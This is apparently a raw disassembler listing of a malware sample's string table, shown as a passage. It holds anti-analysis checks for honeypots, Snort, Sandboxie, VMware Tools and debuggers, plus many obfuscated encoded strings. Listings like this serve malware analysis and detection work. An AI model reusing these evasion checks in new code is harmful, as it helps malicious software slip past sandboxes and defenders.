XREF: sub_40A662+48o align 10h aHoneyd db 'honeyd',0 ; DATA XREF: sub_40A662+41o align 4 aHoneyc db 'honeyc',0 ; DATA XREF: sub_40A662+3Ao align 10h aHoney db 'honey',0 ; DATA XREF: sub_40A662+33o align 4 aSnort db 'snort',0 ; DATA XREF: sub_40A662+2Co align 10h aSandbox db 'Sandbox',0 ; DATA XREF: sub_40A662+25o aRoo db 'roo',0 ; DATA XREF: sub_40A662+1Eo aTu4nh09smcg1hc db 'TU-4NH09SMCG1HC',0 ; DATA XREF: sub_40A662+15o aSandboxie db 'Sandboxie',0 ; DATA XREF: sub_40A737+59o align 4 aSbiedllx db 'SbieDllX',0 ; DATA XREF: sub_40A737:loc_40A77Fo align 4 aShowtray db 'ShowTray',0 ; DATA XREF: sub_40A7C5+F1o align 10h aInstallpath db 'InstallPath',0 ; DATA XREF: sub_40A7C5+D7o aSoftwareVmware db 'SOFTWARE\VMware, Inc.\VMware Tools',0 ; DATA XREF: sub_40A7C5+D2o align 10h aDaemon db 'DAEMON',0 ; DATA XREF: sub_40A7C5:loc_40A83Bo align 4 aIsdebuggerpres db 'IsDebuggerPresent',0 ; DATA XREF: sub_40A7C5:loc_40A7FEo align 4 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_40A7C5+1Eo align 4 aDJstMfgyq_ db 'd/Jst/MFgyQ.',0 ; DATA XREF: sub_40A9FE+F41o ; sub_41567F+159o align 4 aErwc30qfw_p0 db 'eRWc30Qfw.P0',0 ; DATA XREF: sub_40A9FE+1084o ; sub_40A9FE+4611o ... align 4 a86tb1fspjg0 db '86tb/1FSpjg0',0 ; DATA XREF: sub_40A9FE+CA6o ; sub_41567F+172o align 4 aPlsymAee6v1 db 'PlsYM/aEe6v1',0 ; DATA XREF: sub_40A9FE+4D0o ; sub_41567F+17Do align 4 aDehziSaO0 db 'deHZI/SA//o0',0 ; DATA XREF: sub_40A9FE+22o ; sub_40A9FE:loc_40AE0Fo ... align 4 aOb4iqKj5ue_ db 'Ob4iQ/KJ5ue.',0 ; DATA XREF: sub_40A9FE+5Eo ; sub_40A9FE+C70o ... align 4 aNfknl0nqigy0 db 'NFKNL0nQigY0',0 ; DATA XREF: sub_40A9FE+E67o ; sub_41567F+19Eo align 4 aE0idd0rdw2u db 'e0idD0RDw2U/',0 ; DATA XREF: sub_40A9FE+C8Bo ; sub_41567F+1A9o align 4 aEuior0ay2w7__0 db 'EUIOR0ay2w7.',0 ; DATA XREF: sub_40A9FE+33o ; sub_40A9FE+88Co ... align 4 aPdazx1odsoh0 db 'PDazX1oDSOh0',0 ; DATA XREF: sub_40A9FE+A07o ; sub_41567F+1BFo align 4 aUc6wg1ovwvt1 db 'uc6Wg1OvWVt1',0 ; DATA XREF: sub_40A9FE+44o ; sub_40A9FE:loc_40B420o ... align 4 aDj9owUmrbd_ db 'dJ9OW/uMRBD.',0 ; DATA XREF: sub_40A9FE+46Do ; sub_41567F+1D8o align 4 aP00ls0k4t_n1 db 'P00Ls0K4t.N1',0 ; DATA XREF: sub_40A9FE+630o ; sub_41567F+1E3o align 4 aL3nyw_d7tfl_ db 'l3nYW.D7Tfl.',0 ; DATA XREF: sub_40A9FE+562o ; sub_41567F+1EEo align 4 aQc9zs1zgzff0 db 'Qc9zS1zGZff0',0 ; DATA XREF: sub_40A9FE+2816o ; sub_41567F+1F9o align 4 aWpuwr_6yfru db 'WpuWr.6YFRU/',0 ; DATA XREF: sub_40A9FE+2844o ; sub_41567F+204o align 4 a4rmbzFcic21 db '4RmBz/FCic21',0 ; DATA XREF: sub_40A9FE+2948o ; sub_41567F+20Fo align 4 aSc_coSwlk_ db 'SC.Co/swLK/.',0 ; DATA XREF: sub_40A9FE+296Bo ; sub_41567F+21Ao align 4 aSud8hRsu8j1 db 'sUd8h/rsu8j1',0 ; DATA XREF: sub_40A9FE+270o ; sub_40A9FE+4705o ... align 4 aJ2yyw_j09xc db 'j2yYw.J09XC/',0 ; DATA XREF: sub_40A9FE+281o ; sub_40A9FE+47F2o ... align 4 a43ucs0rkqux_ db '43uCS0rkQUx.',0 ; DATA XREF: sub_40A9FE+4974o ; sub_41567F+386o align 4 aJc8j0_blhir0 db 'jC8j0.blHIr0',0 ; DATA XREF: sub_40A9FE+498Do ; sub_41567F+394o align 4 aPiygc_bgpyh_ db 'PIYGC.BgPyH.',0 ; DATA XREF: sub_40A9FE+4A17o ; sub_41567F+39Fo align 4 a7bqzu_aqz2u_ db '7bQzU.aQz2u.',0 ; DATA XREF: sub_40A9FE+4BDBo ; sub_41567F+3AAo align 4 aSar5v0jloic0 db 'saR5v0JloIc0',0 ; DATA XREF: sub_40A9FE+4C1Fo ; sub_41567F+3B5o align 4 aX43mxEgedu_ db 'x43Mx/eGeDu.',0 ; DATA XREF: sub_40A9FE+4C9Co ; sub_41567F+3C0o align 4 aIsopf_pu4ty0 db 'IsoPF.PU4tY0',0 ; DATA XREF: sub_40A9FE+4D19o ; sub_41567F+3CBo align 4 a98mu_Nedn7_ db '98mu./nEdn7.',0 ; DATA XREF: sub_40A9FE+4E89o ; sub_41567F+3D6o align 4 aVdirq_mjcpx1 db 'vDIrQ.MJcpx1',0 ; DATA XREF: sub_40A9FE+5021o ; sub_41567F+3E1o align 4 aSad25HpR91 db 'Sad25/hP/R91',0 ; DATA XREF: sub_40A9FE+50CCo ; sub_41567F+3EFo align 4 aVsz2xXqjp5 db 'Vsz2x/xqJP5/',0 ; DATA XREF: sub_40A9FE+B5Eo ; sub_41567F+3FAo align 4 aPnb_aBfzu60_0 db 'pNb.a/Bfzu60',0 ; DATA XREF: sub_40A9FE+1AA5o ; sub_41567F+405o align 4 aI7atf_8Tag1 db 'i7Atf.8/tag1',0 ; DATA XREF: sub_40A9FE+1B74o ; sub_41567F+410o align 4 aDo5oa0u5m7_ db 'dO5oA/0U5m7.',0 ; DATA XREF: sub_40A9FE+18B5o ; sub_41567F+41Bo align 4 aS3dyJzo6r_0 db 's3dY//JZo6r/',0 ; DATA XREF: sub_40A9FE+18A4o ; sub_41567F+426o align 4 aKe3l20ufrlq0 db 'kE3L20Ufrlq0',0 ; DATA XREF: sub_40A9FE+18C6o ; sub_41567F+431o align 4 aVp1weJvqbn_ db 'VP1WE/JVQbn.',0 ; DATA XREF: sub_40A9FE+FBo ; sub_40A9FE+1C13o ... align 4 aUaxwg1w8vsp0qr db 'UaxWg1w8vSP0QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+1CF2o ; sub_41567F+44Ao align 4 aQbwgd0cfxf_ db 'qbwGd0CFxf./',0 ; DATA XREF: sub_40A9FE+114o ; sub_40A9FE+1D0Bo ... align 4 a2mo7g0_b0qj db '2mo7G0.B0qj/',0 ; DATA XREF: sub_40A9FE+125o ; sub_40A9FE+1D1Co ... align 4 a47ff020f_0_ db '47Ff/020f.0.',0 ; DATA XREF: sub_40A9FE+A0o ; sub_40A9FE+1D2Do ... align 4 aHyomeIovtv_ db 'HyOMe/iovtV.',0 ; DATA XREF: sub_40A9FE+8Ao ; sub_40A9FE+1E44o ... align 4 aPlsymAee6v1_0 db 'PlsYM/aEe6v1',0 ; DATA XREF: sub_40A9FE+1EECo ; sub_41567F+481o align 4 aCwxyh0ryouv1 db 'CwXYh0RYoUv1',0 ; DATA XREF: sub_40A9FE+1F2Bo ; sub_41567F+48Co align 4 aEavyh_ic0dc0 db 'eAvYh.IC0dc0',0 ; DATA XREF: sub_40A9FE+1F67o ; sub_41567F+497o align 4 aUz3rf_vtkug1 db 'uz3rf.VTKug1',0 ; DATA XREF: sub_40A9FE+2022o ; sub_41567F+4A5o align 4 aMaeyv0bdsgj0 db 'MAEyv0BdSGj0',0 ; DATA XREF: sub_41567F+4B0o align 4 aI3ncg_v5u4g_ db 'I3nCG.v5U4g.',0 ; DATA XREF: sub_41567F+4BBo align 4 a9bwj__lz2my0 db '9bWj..lZ2My0',0 ; DATA XREF: sub_40A9FE+136o ; sub_40A9FE+2159o ... align 4 aRiocl1kztwo0 db 'rioCl1kzTWO0',0 ; DATA XREF: sub_40A9FE+292o ; sub_40A9FE+1725o ... align 4 a_swwg1hqeii1 db '.SWwg1hqeiI1',0 ; DATA XREF: sub_40A9FE+188Bo ; sub_41567F+4DCo align 4 aG3obv_r6j7h db 'g3obv.r6j7H/',0 ; DATA XREF: sub_40A9FE+B6o ; sub_40A9FE+F2Fo ... align 4 aM5spx_qp7lx_ db 'M5sPX.Qp7Lx.',0 ; DATA XREF: sub_40A9FE+CCo ; sub_40A9FE+10ADo ... align 4 aItx_n_wpamx_ db 'ITx.N.WPAmx.',0 ; DATA XREF: sub_40A9FE+1160o ; sub_41567F+500o align 4 aLndk50vzcqw0 db 'LNdk50vzCqW0',0 ; DATA XREF: sub_40A9FE+1407o ; sub_41567F+50Bo align 4 a9ljbh07crkd_ db '9lJBH07crkD.',0 ; DATA XREF: sub_40A9FE+E2o ; sub_40A9FE+15E1o ... align 4 aAjttz06ztse1 db 'ajTtz06Ztse1',0 ; DATA XREF: sub_40A9FE+230Co ; sub_41567F+521o align 4 aUn3hk0sn58o db 'uN3hk0sn58o/',0 ; DATA XREF: sub_40A9FE+232Fo ; sub_41567F+52Co align 4 aQrn4z10ge1i1 db 'QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+235Eo ; sub_41567F+537o align 4 aBvuso0ed3mw db 'bVUSO0ed3MW/',0 ; DATA XREF: sub_40A9FE+2380o ; sub_41567F+542o align 4 aM1d_716jg1r1 db 'M1d.716Jg1r1',0 ; DATA XREF: sub_40A9FE+244Co ; sub_41567F+54Do align 4 a6x2ka0buubb_ db '6x2Ka0buUbB.',0 ; DATA XREF: sub_40A9FE+2883o ; sub_41567F+55Bo align 4 aUqyil_iyvpi_ db 'uQYiL.iYvpI.',0 ; DATA XREF: sub_40A9FE+5A1Co ; sub_41567F+566o align 4 a4qyyh1q2ps1 db '4QyYH1q/2ps1',0 ; DATA XREF: sub_40A9FE+5C11o ; sub_41567F+571o align 4 aZgidu12tiv0 db 'ZGidU12tiV0/',0 ; DATA XREF: sub_40A9FE+5CD2o ; sub_41567F+57Co align 4 aHgcrw_cwuf5_ db 'HGCRW.CWUF5.',0 ; DATA XREF: sub_40A9FE+5D06o ; sub_41567F+587o align 4 aGztle_nhywf db 'gzTlE.nhywf/',0 ; DATA XREF: sub_40A9FE+5D26o ; sub_41567F+592o align 4 aTvjro1ubgtg1 db 'TVJrO1uBGtg1',0 ; DATA XREF: sub_40A9FE+5DFAo ; sub_41567F+59Do align 4 aL80reUvcue1 db 'l80re/UvCUe1',0 ; DATA XREF: sub_40A9FE+5DA6o ; sub_41567F+5A8o align 4 aH1cmq0wqw5c_ db 'h1cMQ0wQw5C.',0 ; DATA XREF: sub_40A9FE+15Fo ; sub_40A9FE+5E5Fo ... align 4 aVxa_uCdd7s0 db 'VXA.u/cDD7S0',0 ; DATA XREF: sub_40A9FE+5E46o ; sub_41567F+5B6o align 4 aSxytb1_eejq_ db 'SXYtb1.EEjQ.',0 ; DATA XREF: sub_40A9FE+170o ; sub_40A9FE+642Co ... align 4 aVb1r0N_arr0 db 'vB1r0/N.Arr0',0 ; DATA XREF: sub_40A9FE+181o ; sub_40A9FE+643Do ... align 4 a8im6i__c829_ db '8Im6i..C829.',0 ; DATA XREF: sub_40A9FE+192o ; sub_40A9FE+644Eo ... align 4 aTiyj208fhvn_ db 'tIYj208FHvN.',0 ; DATA XREF: sub_40A9FE+1A3o ; sub_40A9FE+645Fo ... align 4 a5ngN0zjh2i1 db '5nG/N0ZJh2i1',0 ; DATA XREF: sub_40A9FE+1B4o ; sub_40A9FE+6470o ... align 4 aMdf9n0kzpx60 db 'mdf9n0kzPX60',0 ; DATA XREF: sub_40A9FE+1C5o ; sub_40A9FE+6481o ... align 4 aAtfv_jgk0x1 db '/ATfv.jgK0X1',0 ; DATA XREF: sub_40A9FE+1D6o ; sub_40A9FE+6492o ... align 4 aFu6k10irsc1 db 'fu6k10iRsc/1',0 ; DATA XREF: sub_40A9FE+1E7o ; sub_40A9FE+64A3o ... align 4 a_luua_bruje0 db '.lUua.bruje0',0 ; DATA XREF: sub_40A9FE+1F8o ; sub_40A9FE+64B4o ... align 4 aKzqshDhric_ db 'kzqSH/dhRIc.',0 ; DATA XREF: sub_40A9FE+66A5o ; sub_41567F+632o align 4 aUycsBekwp0 db '/uYcs/BEKWP0',0 ; DATA XREF: sub_40A9FE+211o ; sub_40A9FE+66BEo ... align 4 aWwfbf_0ptze_ db 'WWFBf.0ptzE.',0 ; DATA XREF: sub_40A9FE+67EAo ; sub_41567F+648o align 4 aFhzdv1ootfg0 db 'fhzdV1OotFg0',0 ; DATA XREF: sub_40A9FE+22Ao ; sub_40A9FE+6803o ... align 4 aUmk7x0pwyw9Qrn db 'Umk7x0PwyW9/QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+6959o ; sub_41567F+65Eo align 4 aLees11vpbnf0 db 'LeEs11vPbnf0',0 ; DATA XREF: sub_40A9FE+2A10o ; sub_41567F+228o align 4 aLbjvg0r_qmb_ db 'lbJVg0r.qMb.',0 ; DATA XREF: sub_40A9FE+2A2Fo ; sub_41567F+233o align 4 aA52n11svyfw0 db 'A52N11SVYFw0',0 ; DATA XREF: sub_40A9FE+2B22o ; sub_41567F+23Eo align 4 aHj6vo0jrp9q0 db 'Hj6vo0JRP9Q0',0 ; DATA XREF: sub_40A9FE+2BEDo ; sub_41567F+249o align 4 aR7wrsQhek_0 db 'r7WRs/qHek.0',0 ; DATA XREF: sub_40A9FE+2C9Bo ; sub_41567F+254o align 4 aDuzcb0kgssv0 db 'DuzCb0KgSsv0',0 ; DATA XREF: sub_40A9FE+3236o ; sub_41567F+25Fo align 4 aDqjso_47pdb db 'dQJSO.47pdb/',0 ; DATA XREF: sub_40A9FE+344Co ; sub_41567F+26Ao align 4 aK9vUKkutm db 'K9V/U/KkuTM/',0 ; DATA XREF: sub_40A9FE+3513o ; sub_41567F+275o align 4 a7yfnz0pw11s1 db '7yfnz0PW11s1',0 ; DATA XREF: sub_40A9FE+35C1o ; sub_41567F+283o align 4 aNq_as1z1sit db 'nQ.As1Z1SIt/',0 ; DATA XREF: sub_40A9FE+366Fo ; sub_41567F+28Eo align 4 aUn3hk0sn58o_0 db 'uN3hk0sn58o/',0 ; DATA XREF: sub_40A9FE+36ADo ; sub_41567F+299o align 4 aQrn4z10ge1i1_0 db 'QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+371Co ; sub_41567F+2A4o align 4 aIegud0v_5_ db 'iEguD0V/.5/.',0 ; DATA XREF: sub_40A9FE+3757o ; sub_41567F+2AFo align 4 aFc9kk1jx11g_ db 'fc9Kk1jX11G.',0 ; DATA XREF: sub_40A9FE+379Ao ; sub_41567F+2BAo align 4 aDnjq8Ze3zw db 'DnjQ8/ze3ZW/',0 ; DATA XREF: sub_40A9FE+3807o ; sub_41567F+2C5o align 4 aEwqxaOc1t_ db 'EWqxA//oC1T.',0 ; DATA XREF: sub_40A9FE+395Bo ; sub_41567F+2D0o align 4 aJiatz0xsump1 db 'JIAtz0xSuMp1',0 ; DATA XREF: sub_40A9FE+3D36o ; sub_41567F+2DEo align 4 aVi0qa1mvfro1 db 'VI0QA1mvfro1',0 ; DATA XREF: sub_40A9FE+3E33o ; sub_41567F+2E9o align 4 aW3gp6_13acy1 db 'W3GP6.13AcY1',0 ; DATA XREF: sub_40A9FE+3F1Fo ; sub_41567F+2F4o align 4 aE8qiq0hukv9 db 'e8qiq0Hukv9/',0 ; DATA XREF: sub_40A9FE+3F65o ; sub_41567F+2FFo align 4 a18rjk_sa2je db '18Rjk.sa2JE/',0 ; DATA XREF: sub_40A9FE+3FD5o ; sub_41567F+30Ao align 4 aLjAmKzrtp1 db 'lJ/am/kZRtP1',0 ; DATA XREF: sub_40A9FE+40A5o ; sub_41567F+315o align 4 aXzaru0amxhi_ db 'XZArU0aMxhi.',0 ; DATA XREF: sub_40A9FE+4198o ; sub_41567F+320o align 4 aRa7e2Hhxpf0 db 'rA7E2/hHXPf0',0 ; DATA XREF: sub_40A9FE+4281o ; sub_41567F+32Bo align 4 aRp4sr11cvr1 db 'Rp4sR11CvR1/',0 ; DATA XREF: sub_40A9FE+439Do ; sub_41567F+339o align 4 aZqrvt0t6nmz_ db 'ZqrVt0t6nmZ.',0 ; DATA XREF: sub_40A9FE+44CCo ; sub_41567F+344o align 4 a1shta0bzfwk1 db '1ShtA0bzFwk1',0 ; DATA XREF: sub_40A9FE+457Ao ; sub_41567F+34Fo align 4 aAzcsp_hkilo_ db 'AZcsP.hkiLO.',0 ; DATA XREF: sub_40A9FE+45DEo ; sub_41567F+35Ao align 4 aFepmfZswfd db 'FEpMF/ZswFD/',0 ; DATA XREF: sub_40A9FE+465Fo ; sub_41567F+365o align 4 aHpmch0pbq800 db 'HPmCH0PbQ800',0 ; DATA XREF: sub_40A9FE+51A3o ; sub_41567F+66Co align 4 aUfbss0cbo8c__0 db 'uFbSS0Cbo8C.',0 ; DATA XREF: sub_40A9FE+243o ; sub_40A9FE+5594o ... align 4 aNoazx1alvg0 db 'NoaZx1Alvg/0',0 ; DATA XREF: sub_40A9FE+257o ; sub_40A9FE+578Do ... align 4 a7fugu_n0u2m1 db '7FUgU.N0U2m1',0 ; DATA XREF: sub_40A9FE+2ABo ; sub_40A9FE+6972o ... align 4 aW3dwl46o0u0 db 'w3dWL/46o0u0',0 ; DATA XREF: sub_40A9FE+6BA2o ; sub_41567F+698o align 4 aUbqs_hzpkh1 db '/uBQS.HZPkh1',0 ; DATA XREF: sub_40A9FE+2C2o ; sub_40A9FE+6BB9o ... align 4 a6x7zf1eztny_ db '6x7zf1EztnY.',0 ; DATA XREF: sub_40A9FE+2D3o ; sub_40A9FE+6BCAo ... align 4 a7otcu0fic6v0 db '7otcU0FiC6V0',0 ; DATA XREF: sub_40A9FE+2F5o ; sub_40A9FE+6BECo ... align 4 aFyflu0ji3xh_ db 'FyFlU0jI3XH.',0 ; DATA XREF: sub_40A9FE+2E4o ; sub_40A9FE+6BDBo ... align 4 aDnjyk0fwki__ db 'dnjYk0fWkI..',0 ; DATA XREF: sub_40A9FE+6BFDo ; sub_41567F+6D2o align 4 aXmz20Gjkq db 'xMz20//gJkQ/',0 ; DATA XREF: sub_40A9FE+306o ; sub_40A9FE+6C14o ... align 4 aNhr6r0qsk450 db 'nHr6r0qsk450',0 ; DATA XREF: sub_40A9FE+6E2Do ; sub_41567F+6E8o align 4 aX_62c_3ldcp db 'X.62C.3LDCP/',0 ; DATA XREF: sub_40A9FE+31Do ; sub_40A9FE+7784o ... align 4 aWt4rnWgl6v_ db 'wt4Rn/WGL6V.',0 ; DATA XREF: sub_40A9FE+79BDo ; sub_41567F+6FEo align 4 aImvbw1shwxq0 db 'iMvbW1SHwxQ0',0 ; DATA XREF: sub_40A9FE+334o ; sub_40A9FE+7555o ... align 4 a4h4m_q_guy_ db '4h4m/.Q.GUy.',0 ; DATA XREF: sub_40A9FE+776Do ; sub_41567F+714o align 4 aPsern1aagh6_ db 'pSern1AAGh6.',0 ; DATA XREF: sub_40A9FE+35Co ; sub_40A9FE+7085o ... align 4 aXkg84_cesgs_ db 'XkG84.cESgs.',0 ; DATA XREF: sub_40A9FE+369o ; sub_40A9FE+7220o ... align 4 aUyfog_dvvny0 db 'UyfOG.DvVnY0',0 ; DATA XREF: sub_40A9FE+34Bo ; sub_40A9FE+6E44o ... align 4 aP06vqBfbmo_ db 'p06vq/BFBMo.',0 ; DATA XREF: sub_40A9FE+376o ; sub_40A9FE+73CBo ... align 4 a3vvsv1vurua db '3VVsV1VuRUA/',0 ; DATA XREF: sub_40A9FE+753Eo ; sub_41567F+74Eo align 4 aW1w2v121jsp_ db 'w1w2V121JSP.',0 ; DATA XREF: sub_40A9FE+383o ; sub_40A9FE+79D4o ... align 4 aVz62d1m0yya db 'Vz62d1m0Yya/',0 ; DATA XREF: sub_40A9FE+7B5Eo ; sub_41567F+764o align 4 aF4c9z1ubcg80 db 'F4c9z1UBCg80',0 ; DATA XREF: sub_40A9FE+7B6Fo ; sub_41567F+76Fo align 4 a2yclo0srxpi db '2YClO0SRxpi/',0 ; DATA XREF: sub_40A9FE+7CD5o ; sub_41567F+77Do align 4 aH3yh9_xq_s2_ db 'h3YH9.Xq.S2.',0 ; DATA XREF: sub_40A9FE+7CECo ; sub_41567F+788o align 4 aIwbkf0o1om6Qrn db 'IwBKf0O1Om6/QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+7E9Bo ; sub_41567F+793o align 10h aKmdie1uwntq db 'KmdIe1UwntQ/',0 ; DATA XREF: sub_40A9FE+3A4o ; sub_40A9FE+8142o ... align 10h aUpx0wCz2ei0qrn db 'UPx0W/cz2EI0QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+8291o ; sub_41567F+7A9o align 4 aV6jbh0k4uD_ db 'V6jBH0k4u/d.',0 ; DATA XREF: sub_40A9FE+3BDo ; sub_40A9FE+82C3o ... align 4 aB2smo_whkew_qr db 'B2smo.WHkeW.QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+836Eo ; sub_41567F+7BFo align 4 aVxg7n_qbmg90aa db 'vXG7N.qBMG90aA/Td0EX07M1',0 ; DATA XREF: sub_40A9FE+83C1o ; sub_41567F+7CAo align 4 aEm42x_1iszi1 db 'Em42x.1IsZI1',0 ; DATA XREF: sub_40A9FE+397o ; sub_40A9FE+7EB4o ... align 4 aErnniHm17t1qrn db 'ERNNi/HM17T1QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+8119o ; sub_41567F+7E3o align 10h aQ5l5f_2to_60 db 'q5l5f.2TO.60',0 ; DATA XREF: sub_40A9FE+85D7o ; sub_40A9FE+8619o ... align 10h aJbkl4Fbwcf1 db 'jBKL4/FbWCF1',0 ; DATA XREF: sub_40A9FE+85E4o ; sub_40A9FE+862Do ... align 10h aW3gp6_13acy1_0 db 'W3GP6.13AcY1',0 ; DATA XREF: sub_40A9FE+8642o ; sub_41567F+804o align 10h aM08se_kt9td1 db 'M08SE.Kt9tD1',0 ; DATA XREF: sub_40A9FE+872Bo ; sub_41567F+80Fo align 10h a3eowx2ocng db '3eowX/2OCnG/',0 ; DATA XREF: sub_40A9FE+8805o ; sub_41567F+81Ao align 10h aS3dyJzo6r db 's3dY//JZo6r/',0 ; DATA XREF: sub_40A9FE+894Do ; sub_41567F+825o align 10h aUwher1dagd80 db 'UWher1DAGD80',0 ; DATA XREF: sub_40A9FE+8986o ; sub_41567F+833o align 10h aPnb_aBfzu60 db 'pNb.a/Bfzu60',0 ; DATA XREF: sub_40A9FE+89BFo ; sub_41567F+83Eo align 10h aZu2s6_o7_yt db 'Zu2s6.O7.yt/',0 ; DATA XREF: sub_40A9FE+89D5o ; sub_41567F+849o align 10h a4hftz6holr db '4hftZ/6HOlR/',0 ; DATA XREF: sub_40A9FE+8A21o ; sub_41567F+854o align 10h aYqrdp_9rf4u0 db 'yqrdP.9rF4U0',0 ; DATA XREF: sub_40A9FE+8A76o ; sub_41567F+85Fo align 10h a1uyis15kh_n1 db '1UyIs15KH.n1',0 ; DATA XREF: sub_40A9FE+8ABCo ; sub_41567F+86Ao align 10h a9ljbh07crkd__0 db '9lJBH07crkD.',0 ; DATA XREF: sub_40A9FE+8B02o ; sub_41567F+875o align 10h aD0ron_ctdg0_ db 'D0roN.CTDg0.',0 ; DATA XREF: sub_40A9FE+8B19o ; sub_40A9FE+8B8Do ... align 10h aFr8ri0f9nfz_ db 'fr8ri0f9NfZ.',0 ; DATA XREF: sub_40A9FE+8B37o ; sub_40A9FE+8BAFo ... align 10h aWbzcx0Dknt_ db 'wbZcx0/Dknt.',0 ; DATA XREF: sub_40A9FE+8B55o ; sub_40A9FE+8BD1o ... align 10h aNyjsr1cv5ch0 db 'NyJsR1cV5CH0',0 ; DATA XREF: sub_40A9FE+8C00o ; sub_41567F+8A4o align 10h aI6sd4ctzn0 db '/I6sD/4CTzn0',0 ; DATA XREF: sub_40A9FE+8F00o ; sub_41567F+8AFo align 10h aWrlthN3uh_1 db 'WRlth/n3Uh.1',0 ; DATA XREF: sub_40A9FE+8FABo ; sub_41567F+8BAo align 10h aYqjsn0wtutn1 db 'yQJsn0wtUtn1',0 ; DATA XREF: sub_40A9FE+906Do ; sub_41567F+8C5o align 10h aTy2nt0oi2yk db 'ty2nT0oI2YK/',0 ; DATA XREF: sub_40A9FE+106o ; sub_40A9FE+421o ... align 10h a6h4nn1igjm60 db '6h4NN1IGJm60',0 ; DATA XREF: sub_40A9FE:loc_40CD94o ; sub_40A9FE+240Co ... align 10h aUr6ne_mot50_ db 'Ur6ne.MOT50.',0 ; DATA XREF: sub_40A9FE+2703o ; sub_40A9FE+2749o ... align 10h aHm1h_049e4o db 'Hm1H.049e4O/',0 ; DATA XREF: sub_40A9FE+299Ao ; sub_41567F+90Ao ... align 10h aWj27_1belx20 db 'wj27.1Belx20',0 ; DATA XREF: sub_41567F+915o ; sub_41BE01+355o align 10h aPrttt0s3ag916n db 'pRTtT0s3aG916N5aw.affEY1',0 ; DATA XREF: sub_41567F+8FFo align 4 aAl_N0kenp20 db 'Al./N0Kenp20',0 ; DATA XREF: sub_40A9FE+95o ; sub_40A9FE+ABo ... align 4 aFfec81uznt81 db 'fFEC81UzNT81',0 ; DATA XREF: sub_40A9FE:loc_40AE03o ; sub_40A9FE+9DDCo ... align 4 aJvatg1988z81 db 'jVATg1988z81',0 ; DATA XREF: sub_40A9FE+AA3o ; sub_40A9FE+9E4Fo ... align 4 aMflx2_qu4vy_ db 'mflX2.QU4VY.',0 ; DATA XREF: .text:00401909o ; sub_401990+Fo ... align 4 aXlpyr1anpgm0 db 'xLpyR1aNPGm0',0 ; DATA XREF: sub_407E4B+72o ; sub_40A9FE+21Co ... align 4 aWpukb_0uioaOfu db 'WPUkb.0uIoa/OFUur11TNYw0',0 ; DATA XREF: .text:0040A4A8o ; .text:0040A4D1o ... align 4 aC4dd9_nojvo1 db 'C4dD9.nojvO1',0 ; DATA XREF: sub_40A9FE+5BBFo ; sub_40A9FE:loc_410603o ... align 4 aJt17j1imtvd1 db 'jt17J1ImTVD1',0 ; DATA XREF: sub_4020BA+CEo ; sub_402CE9+489o ... align 4 aLtlec18us5q0 db 'LTLec18US5q0',0 ; DATA XREF: sub_40A9FE+C1o ; sub_40A9FE+F61o ... align 4 a6atss0dycwf_6n db '6atSs0dyCWF.6N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+D7o ; sub_40A9FE+10E3o ... align 4 a7_pak0onymn7ra db '7.PaK0OnymN/7Razv/1FefF.',0 ; DATA XREF: sub_40A9FE+EDo ; sub_40A9FE+15FFo ... align 10h aWhdag1glagf_ db 'WHdAg1glAgf.',0 ; DATA XREF: sub_40A9FE:loc_40ADEBo ; sub_40A9FE+4781o ... align 10h aLmecq0ygcok db 'lmecq0yGcoK/',0 ; DATA XREF: sub_40A9FE+4A92o ; sub_40A9FE+4BFEo ... align 10h aRccsh_adukf1 db 'RcCSh.AdUKf1',0 ; DATA XREF: sub_40A9FE+51C9o ; sub_40A9FE+51EBo ... align 10h aXu6cu1p_sn6_6n db 'XU6CU1p.SN6.6N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+2A72o ; sub_40A9FE+2AD3o ... align 4 aHuudgYqzdz db 'HuuDG/YQZDz/',0 ; DATA XREF: sub_40A9FE+24Eo ; sub_40A9FE+55DCo ... align 4 a6hwiyOatg9_6n5 db '6HWiy/OAtg9.6N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+262o ; sub_40A9FE+57A6o ... align 4 aPtami1_agv db 'PTaMI1/.aGV/',0 ; DATA XREF: sub_40A9FE+8844o ; sub_40A9FE:loc_413260o ... align 4 aUhdhc1pcv9i db 'uhdhC1pCV9i/',0 ; DATA XREF: sub_40A9FE:loc_40BF0Bo ; sub_41567F+9ECo ... align 4 aWulzr_x7xjb0 db 'WUlZR.X7XjB0',0 ; DATA XREF: sub_40A9FE+29Do ; sub_40A9FE+1743o ... align 4 aBjatzQyrs11 db 'BjAtz/qyRS11',0 ; DATA XREF: sub_40A9FE+2B6o ; sub_40A9FE+69CFo ... align 4 aBvygm_afzkh0 db 'BVYGm.aFzkh0',0 ; DATA XREF: sub_40A9FE:loc_40ADDFo ; sub_40A9FE+6C08o ... align 4 aLcgg60qk2mf0 db 'Lcgg60QK2mf0',0 ; DATA XREF: sub_40A9FE+311o ; sub_40A9FE+6C68o ... align 4 aYhzck13caog0 db 'YhzCK13CaOG0',0 ; DATA XREF: sub_40A9FE:loc_40ADD8o ; sub_40A9FE+6EA3o ... align 4 aAxauo_rlggx0 db 'aXauo.rLGgX0',0 ; DATA XREF: sub_40A9FE+33Fo ; sub_40A9FE+75B2o ... align 4 aVfeso_qcgdt_ db 'vfEsO.QcgDt.',0 ; DATA XREF: sub_40A9FE+38Eo ; sub_40A9FE+7AACo ... align 4 aSsoce0jbtxi db 'sSOce0JbTXI/',0 ; DATA XREF: sub_40A9FE+7D26o ; sub_40A9FE+7DA9o ... align 4 aQsoz9_vfvwu0 db 'QSOZ9.vFVWu0',0 ; DATA XREF: sub_40A9FE:loc_40ADADo ; sub_40A9FE+7F1Co ... align 4 aXiw8_1hhx7d1 db 'Xiw8.1HHX7d1',0 ; DATA XREF: sub_41567F+A60o ; sub_42045F+14Fo ... align 4 aO_sxv_ze9bk1go db 'O.sxv.ze9bK1GOISY.dO.Vn1',0 ; DATA XREF: sub_40A9FE+69o ; sub_40A9FE+A5Fo ... align 4 aXwzwo1pqcgt16n db 'XWzwO1PqcgT16N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+328o ; sub_40A9FE+77E1o ... align 10h a5oke1awbzq db 